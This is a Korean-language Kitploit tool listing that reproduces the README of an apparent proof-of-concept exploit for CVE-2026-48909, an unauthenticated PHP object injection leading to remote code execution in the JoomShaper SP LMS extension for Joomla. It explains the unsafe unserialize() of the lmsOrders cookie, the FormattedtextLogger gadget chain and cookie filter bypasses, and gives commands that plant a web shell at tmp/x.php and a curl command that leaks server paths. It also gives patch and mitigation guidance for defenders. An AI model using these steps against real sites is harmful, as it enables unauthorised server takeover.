Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-48909 — CVE-2026-48909에 대한 개념 증명 익스플로잇: JoomShaper SP LMS의 PHP 객체 주입을 통한 인증되지 않은 원격 코드 실행. 탐지, 익스플로잇 및 대응 지침 포함. | Kitploit
도구/GitHubGitHub/is4yev/cve-2026-48909
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubis4yev/cve-2026-48909

CVE-2026-48909

CVE-2026-48909에 대한 개념 증명 익스플로잇: JoomShaper SP LMS의 PHP 객체 주입을 통한 인증되지 않은 원격 코드 실행. 탐지, 익스플로잇 및 대응 지침 포함.

저장소 보기
2321개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-48909 — SP LMS PHP 객체 주입 → RCE

CVE CVSS CWE Affected Fixed

인증되지 않은 원격 코드 실행 — Joomla CMS용 JoomShaper SP LMS (com_splms) ≤ 4.1.3의 PHP 객체 주입 취약점

저자: Amin İsayev / Proxima Cyber Security


개요

SP LMS는 JoomShaper의 인기 있는 Joomla 학습 관리 시스템 확장 프로그램으로 10만 개 이상 설치되었습니다. 4.1.3 이하 버전은 lmsOrders 쿠키를 검증 없이 unserialize()에 직접 전달하여, 인증되지 않은 공격자가 악성 PHP 객체를 주입하고 Joomla의 기본 가젯 체인을 통해 원격 코드 실행을 달성할 수 있습니다.


취약점

근본 원인

components/com_splms/models/cart.php 28번째 줄:

root@kitploit:~
$cookie  = Factory::getApplication()->input->cookie;
$raw     = $cookie->get('lmsOrders', base64_encode(serialize(array())));
$decoded = base64_decode($raw);
$cartItems = unserialize($decoded);   // ← 신뢰할 수 없는 사용자 입력

lmsOrders 쿠키는 base64 디코딩된 후 unserialize()에 직접 전달됩니다. 공격자는 역직렬화된 객체를 완전히 제어할 수 있습니다.

가젯 체인

Joomla의 FormattedtextLogger 클래스가 가젯을 제공합니다:

root@kitploit:~
lmsOrders 쿠키 (공격자 제어)
  └─► unserialize()                             [cart.php:28]
        └─► FormattedtextLogger.__destruct()    [Joomla 가젯]
              └─► initFile() → File::write($path, $format)
                    └─► PHP 코드가 디스크에 기록됨 → RCE

참고: RCE를 위해서는 Joomla < 5.2.2가 필요합니다.
Joomla 5.2.2에서 FormattedtextLogger.__wakeup()이 패치되었습니다 (PR #44428 참조).
PHP 객체 주입 자체는 모든 Joomla 버전의 com_splms ≤ 4.1.3에 여전히 존재합니다.

필터 우회

Joomla의 Input\Cookie::get()은 기본적으로 cmd 필터를 적용하여 쿠키 값에서 +, /, = 문자를 제거합니다 — 이들은 표준 base64에 포함되는 문자입니다. 익스플로잇은 다음을 사용합니다:

  • hex2bin() 인코딩을 사용하여 금지된 PHP 문자 ($, _, {, }, \n) 방지
  • 패딩 정렬을 통해 base64 길이가 3으로 나누어지도록 함 (= 패딩 없음)
  • 패딩 문자 반복(62가지 변형)을 통해 base64 출력에서 / 및 + 제거

개념 증명

탐지

root@kitploit:~
python3 CVE-2026-48909.py https://target.com
root@kitploit:~
[*] 대상 : https://target.com
[*] 경로   : /index.php?option=com_splms&view=cart
[*] 탐침  : lmsOrders=Tzo4OiJzdGRDbGFzcyI6MDp7fQ==

[취약] 탐침 시 HTTP 500 vs 정상 시 HTTP 200 — 쿠키에서 unserialize() 호출됨
[!] 즉시 SP LMS >= 4.1.4로 업데이트하세요.

익스플로잇

root@kitploit:~
python3 CVE-2026-48909_exploit.py https://target.com /var/www/html/tmp/x.php

PoC 스크린샷

셸 활성화: https://target.com/tmp/x.php?c=id

서버 경로 찾기 (알 수 없는 경우):

root@kitploit:~
# cPanel 호스팅 — Joomla 오류 페이지에서 경로 유출
curl -sk "https://target.com/administrator/" | grep -oP '\/home\d*\/[^"<\s]+'

# 시도해 볼 일반적인 경로:
#   /var/www/html/tmp/x.php
#   /home/USER/public_html/tmp/x.php
#   /var/www/vhosts/DOMAIN/httpdocs/tmp/x.php

요구 사항

root@kitploit:~
pip install requests

Python 3.10+


수정 / 조치

  1. SP LMS를 즉시 ≥ 4.1.4 버전으로 업데이트
  2. 가젯 체인을 제거하기 위해 Joomla를 ≥ 5.2.2로 업데이트
  3. 임시 완화 조치로 역직렬화 전에 lmsOrders 쿠키 검증 및 정제:
root@kitploit:~
// 사용자 제어 데이터에 unserialize()를 사용하지 마세요
// 대신 json_encode/json_decode를 사용하세요
$cartItems = json_decode(base64_decode($raw), true) ?? [];

참고 자료

  • CVE-2026-48909 — cve.org
  • CVE-2026-48909 — NVD
  • GHSA-gf8c-xmwj-whrh — GitHub Advisory
  • Joomla PR #44428 — FormattedtextLogger 가젯 패치
  • CWE-502: 신뢰할 수 없는 데이터의 역직렬화
  • OWASP: PHP 객체 주입

면책 조항

이 도구는 교육 목적 및 공인된 보안 테스트 용도로만 공개됩니다.
저자는 이 프로그램의 오용이나 그로 인한 손해에 대해 책임을 지지 않습니다.
소유하지 않거나 명시적인 서면 허가 없이 시스템에 사용하지 마십시오.


Amin İsayev / Proxima Cyber Security — 2026

도구 다운로드
필드세부 정보
CVE IDCVE-2026-48909
GHSAGHSA-gf8c-xmwj-whrh
영향 받는 버전SP LMS (com_splms) 1.0.0 – 4.1.3
수정 버전SP LMS ≥ 4.1.4
Joomla 요구 사항< 5.2.2 (가젯 체인은 5.2.2에서 패치됨)
CVSS 4.09.5 Critical — AV:N/AC:L/AT:P/PR:N/UI:N
CWECWE-502: 신뢰할 수 없는 데이터의 역직렬화
인증 필요 여부없음
공개일2026-05-26
게시일2026-06-20